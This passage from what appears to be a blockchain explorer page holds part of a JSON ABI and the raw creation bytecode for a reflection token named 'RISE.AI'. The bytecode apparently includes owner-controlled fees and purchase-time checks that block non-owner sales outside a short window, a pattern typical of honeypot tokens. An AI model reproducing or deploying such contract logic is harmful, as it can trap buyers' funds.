[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000be919062000a57565b64174876e800620000d0919062000b94565b600d55600d54600019620000e5919062000c7b565b600019620000f4919062000bf5565b600e556002600f5561012c60105560405180608001604052806000815260200160008152602001600081526020016000815250601860008201518160000155602082015181600101556040820151816002015560608201518160030155505060405180608001604052806000815260200160008152602001600081526020016000815250601c6000820151816000015560208201518160010155604082015181600201556060820151816003015550506001602560146101000a81548160ff0219169083151502179055506001602560166101000a81548160ff0219169083151502179055506001602560176101000a81548160ff0219169083151502179055503480156200020257600080fd5b506000620002156200091660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600e5460036000620002ca6200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200036857600080fd5b505afa1580156200037d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a391906200095e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200040657600080fd5b505afa1580156200041b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044191906200095e565b6040518363ffffffff1660e01b815260040162000460929190620009b2565b602060405180830381600087803b1580156200047b57600080fd5b505af115801562000490573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b691906200095e565b602560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006200054d6200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600073e853889c8c7a03c1f7935b87355dc58ecd3d92b073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a309080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008a66200091e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d54604051620009079190620009df565b60405180910390a35062000d3d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050620009588162000d23565b92915050565b60006020828403121562000977576200097662000d11565b5b6000620009878482850162000947565b91505092915050565b6200099b8162000c30565b82525050565b620009ac8162000c64565b82525050565b6000604082019050620009c9600083018562000990565b620009d8602083018462000990565b9392505050565b6000602082019050620009f66000830184620009a1565b92915050565b6000808291508390505b600185111562000a4e5780860481111562000a265762000a2562000cb3565b5b600185161562000a365780820291505b808102905062000a468562000d16565b945062000a06565b94509492505050565b600062000a648262000c64565b915062000a718362000c6e565b925062000aa07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000aa8565b905092915050565b60008262000aba576001905062000b8d565b8162000aca576000905062000b8d565b816001811462000ae3576002811462000aee5762000b24565b600191505062000b8d565b60ff84111562000b035762000b0262000cb3565b5b8360020a91508482111562000b1d5762000b1c62000cb3565b5b5062000b8d565b5060208310610133831016604e8410600b841016171562000b5e5782820a90508381111562000b585762000b5762000cb3565b5b62000b8d565b62000b6d8484846001620009fc565b9250905081840481111562000b875762000b8662000cb3565b5b81810290505b9392505050565b600062000ba18262000c64565b915062000bae8362000c64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000bea5762000be962000cb3565b5b828202905092915050565b600062000c028262000c64565b915062000c0f8362000c64565b92508282101562000c255762000c2462000cb3565b5b828203905092915050565b600062000c3d8262000c44565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600062000c888262000c64565b915062000c958362000c64565b92508262000ca85762000ca762000ce2565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b62000d2e8162000c30565b811462000d3a57600080fd5b50565b614ff08062000d4d6000396000f3fe60806040526004361061028c5760003560e01c806370a082311161015a578063a8be9a58116100c1578063e7e645191161007a578063e7e6451914610a35578063ea2f0b3714610a72578063ecbde40c14610a9b578063f2fde38b14610ad8578063f77fb6b914610b01578063f921400514610b2a57610293565b8063a8be9a58146108ff578063a9059cbb1461093c578063bc0ad5a314610979578063c49b9a80146109a4578063cc5006b3146109cd578063dd62ed3e146109f857610293565b80638da5cb5b116101135780638da5cb5b146107d657806395d89b41146108015780639b26c9231461082c5780639ba5e4d514610857578063a39801c614610885578063a457c2d7146108c257610293565b806370a08231146106bd578063713898cd146106fa57806373cafdc214610728578063786564c41461075657806379fdd8321461077f5780638b7afe2e146107aa57610293565b80633685d419116101fe5780634549b039116101b75780634549b0391461059b5780634a74bb02146105d857806351ecfeae1461060357806352390c021461062c57806352892884146106555780635342acb41461068057610293565b80633685d4191461048f578063370f0a60146104b857806339509351146104e15780633ccfd60b1461051e5780634359a87114610535578063437823ec1461057257610293565b806323b872dd1161025057806323b872dd1461036d578063275d53ce146103aa5780632d838119146103d3578063313ce5671461041057806331b72ff01461043b57806334ef80bc1461046657610293565b806306fdde0314610298578063095ea7b3146102c357806316a9de141461030057806318160ddd1461032b57806320365d5f1461035657610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610b55565b6040516102ba9190614673565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190614243565b610b92565b6040516102f7919061463d565b60405180910390f35b34801561030c57600080fd5b50610315610bb0565b6040516103229190614622565b60405180910390f35b34801561033757600080fd5b50610340610bd6565b60405161034d9190614835565b60405180910390f35b34801561036257600080fd5b5061036b610be0565b005b34801561037957600080fd5b50610394600480360381019061038f91906141f0565b610d58565b6040516103a1919061463d565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190614283565b610e3f565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906142b0565b610ed8565b6040516104079190614835565b60405180910390f35b34801561041c57600080fd5b50610425610f3f565b60405161043291906148be565b60405180910390f35b34801561044757600080fd5b50610450610f48565b60405161045d9190614835565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906142b0565b610f4e565b005b34801561049b57600080fd5b506104b660048036038101906104b19190614183565b610fd4565b005b3480156104c457600080fd5b506104df60048036038101906104da9190614183565b61130a565b005b3480156104ed57600080fd5b5061050860048036038101906105039190614243565b61155b565b604051610515919061463d565b60405180910390f35b34801561052a57600080fd5b50610533611607565b005b34801561054157600080fd5b5061055c60048036038101906105579190614183565b6116d2565b6040516105699190614835565b60405180910390f35b34801561057e57600080fd5b5061059960048036038101906105949190614183565b61171b565b005b3480156105a757600080fd5b506105c260048036038101906105bd91906142dd565b6117f2565b6040516105cf9190614835565b60405180910390f35b3480156105e457600080fd5b506105ed611878565b6040516105fa919061463d565b60405180910390f35b34801561060f57600080fd5b5061062a60048036038101906106259190614370565b61188b565b005b34801561063857600080fd5b50610653600480360381019061064e9190614183565b611935565b005b34801561066157600080fd5b5061066a611bd0565b6040516106779190614622565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a29190614183565b611bf6565b6040516106b4919061463d565b60405180910390f35b3480156106c957600080fd5b506106e460048036038101906106df9190614183565b611c4c565b6040516106f19190614835565b60405180910390f35b34801561070657600080fd5b5061070f611d37565b60405161071f9493929190614879565b60405180910390f35b34801561073457600080fd5b5061073d611d55565b60405161074d9493929190614879565b60405180910390f35b34801561076257600080fd5b5061077d60048036038101906107789190614370565b611d73565b005b34801561078b57600080fd5b50610794611e1d565b6040516107a19190614658565b60405180910390f35b3480156107b657600080fd5b506107bf611e43565b6040516107cd929190614850565b60405180910390f35b3480156107e257600080fd5b506107eb611e55565b6040516107f89190614622565b60405180910390f35b34801561080d57600080fd5b50610816611e7e565b6040516108239190614673565b60405180910390f35b34801561083857600080fd5b50610841611ebb565b60405161084e9190614835565b60405180910390f35b34801561086357600080fd5b5061086c611ec1565b60405161087c9493929190614879565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a7919061431d565b611edf565b6040516108b9919061463d565b60405180910390f35b3480156108ce57600080fd5b506108e960048036038101906108e49190614243565b611f9d565b6040516108f6919061463d565b60405180910390f35b34801561090b57600080fd5b5061092660048036038101906109219190614183565b61206a565b6040516109339190614835565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e9190614243565b612082565b604051610970919061463d565b60405180910390f35b34801561098557600080fd5b5061098e6120ae565b60405161099b919061463d565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614283565b6120c1565b005b3480156109d957600080fd5b506109e2612191565b6040516109ef9190614622565b60405180910390f35b348015610a0457600080fd5b50610a1f6004803603810190610a1a91906141b0565b6121b7565b604051610a2c9190614835565b60405180910390f35b348015610a4157600080fd5b50610a5c6004803603810190610a579190614183565b61223e565b604051610a699190614835565b60405180910390f35b348015610a7e57600080fd5b50610a996004803603810190610a949190614183565b612287565b005b348015610aa757600080fd5b50610ac26004803603810190610abd9190614183565b61235e565b604051610acf9190614835565b60405180910390f35b348015610ae457600080fd5b50610aff6004803603810190610afa9190614183565b612376565b005b348015610b0d57600080fd5b50610b286004803603810190610b239190614283565b61251f565b005b348015610b3657600080fd5b50610b3f6125b8565b604051610b4c9190614622565b60405180910390f35b60606040518060400160405280600681526020017f5249534541490000000000000000000000000000000000000000000000000000815250905090565b6000610ba6610b9f6125de565b84846125e6565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b610be86125de565b73ffffffffffffffffffffffffffffffffffffffff16610c06611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390614795565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d658484846127b1565b610e2684610d716125de565b610e2185604051806060016040528060288152602001614f6e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dd76125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b602560169054906101000a900460ff1690509392505050565b610e476125de565b73ffffffffffffffffffffffffffffffffffffffff16610e65611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290614795565b60405180910390fd5b80602560166101000a81548160ff02191690831515021790555050565b6000600e54821115610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f16906146d5565b60405180910390fd5b6000610f29612a26565b90508083610f37919061494b565b915050919050565b60006009905090565b60105481565b610f566125de565b73ffffffffffffffffffffffffffffffffffffffff16610f74611e55565b73ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190614795565b60405180910390fd5b8060108190555050565b610fdc6125de565b73ffffffffffffffffffffffffffffffffffffffff16610ffa611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d390614755565b60405180910390fd5b60005b600a80549050811015611306578173ffffffffffffffffffffffffffffffffffffffff16600a828154811061111757611116614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112f357600a6001600a8054905061117291906149d6565b8154811061118357611182614b9e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a82815481106111c2576111c1614b9e565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8054806112b9576112b8614b6f565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611306565b80806112fe90614ac8565b9150506110df565b5050565b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114eb576001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561148757611443600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611557816001612a4a90919063ffffffff16565b5050565b60006115fd6115686125de565b8484600560006115766125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f891906148f5565b6125e6565b6001905092915050565b61160f6125de565b73ffffffffffffffffffffffffffffffffffffffff1661162d611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90614795565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116ce573d6000803e3d6000fd5b5050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117236125de565b73ffffffffffffffffffffffffffffffffffffffff16611741611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178e90614795565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d54831115611839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183090614775565b60405180910390fd5b8161185a57600061184b846001612a7a565b90508060000151915050611872565b6000611867846001612a7a565b905080602001519150505b92915050565b602560179054906101000a900460ff1681565b6118936125de565b73ffffffffffffffffffffffffffffffffffffffff166118b1611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90614795565b60405180910390fd5b8360186000018190555082601860010181905550816018600201819055508060186003018190555050505050565b61193d6125de565b73ffffffffffffffffffffffffffffffffffffffff1661195b611e55565b73ffffffffffffffffffffffffffffffffffffffff16146119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a890614795565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590614735565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611b1257611ace600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ce757600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611d32565b611d2f600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ed8565b90505b919050565b601c8060000154908060010154908060020154908060030154905084565b60188060000154908060010154908060020154908060030154905084565b611d7b6125de565b73ffffffffffffffffffffffffffffffffffffffff16611d99611e55565b73ffffffffffffffffffffffffffffffffffffffff1614611def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de690614795565b60405180910390fd5b83601c6000018190555082601c6001018190555081601c6002018190555080601c6003018190555050505050565b602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60168060000154908060010154905082565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f524953452e414900000000000000000000000000000000000000000000000000815250905090565b600f5481565b60128060000154908060010154908060020154908060030154905084565b600080841415611ef25760009050611f96565b60008442611f0091906149d6565b9050601054811415611f16576001915050611f96565b6000811415611f7f578273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f7e576000915050611f96565b5b838111611f90576001915050611f96565b60009150505b9392505050565b6000612060611faa6125de565b8461205b85604051806060016040528060258152602001614f966025913960056000611fd46125de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d19092919063ffffffff16565b6125e6565b6001905092915050565b60086020528060005260406000206000915090505481565b600061209661208f6125de565b84846127b1565b602560149054906101000a900460ff16905092915050565b602560149054906101000a900460ff1681565b6120c96125de565b73ffffffffffffffffffffffffffffffffffffffff166120e7611e55565b73ffffffffffffffffffffffffffffffffffffffff161461213d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213490614795565b60405180910390fd5b80602560176101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051612186919061463d565b60405180910390a150565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61228f6125de565b73ffffffffffffffffffffffffffffffffffffffff166122ad611e55565b73ffffffffffffffffffffffffffffffffffffffff1614612303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fa90614795565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60096020528060005260406000206000915090505481565b61237e6125de565b73ffffffffffffffffffffffffffffffffffffffff1661239c611e55565b73ffffffffffffffffffffffffffffffffffffffff16146123f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e990614795565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612462576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612459906146f5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6125276125de565b73ffffffffffffffffffffffffffffffffffffffff16612545611e55565b73ffffffffffffffffffffffffffffffffffffffff161461259b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259290614795565b60405180910390fd5b80602560146101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264d90614815565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126bd90614715565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127a49190614835565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612821576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612818906147f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288890614695565b60405180910390fd5b600081116128d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128cb906147b5565b60405180910390fd5b6128dd83611c4c565b81111561291f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612916906147d5565b60405180910390fd5b6129cc838383600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129c65750600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612add565b505050565b6000838311158290612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a109190614673565b60405180910390fd5b5082840390509392505050565b6000806000612a336136df565b915091508082612a43919061494b565b9250505090565b6000612a72836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61397d565b905092915050565b612a826140ea565b612a8c8383613a91565b9050612aa1818484612a9c612a26565b613b98565b866000018760200188604001896060018a6080018b60a00186815250868152508681525086815250868152508681525050505050505092915050565b8015612ec857602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612cf057612b41611e55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612baf5750612b7f611e55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612be85750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612c7b576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612c7a5742600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b82601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506018602060008201548160000155600182015481600101556002820154816002015560038201548160030155905050612ec3565b612cf8611e55565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612d665750612d36611e55565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612d9f5750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612e43576000612dbb612db2866116d2565b600f5487611edf565b905080612dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df4906146b5565b60405180910390fd5b42600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b601c60206000820154816000015560018201548160010155600282015481600201556003820154816003015590505060206002015460206002018190555083601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b612ff1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054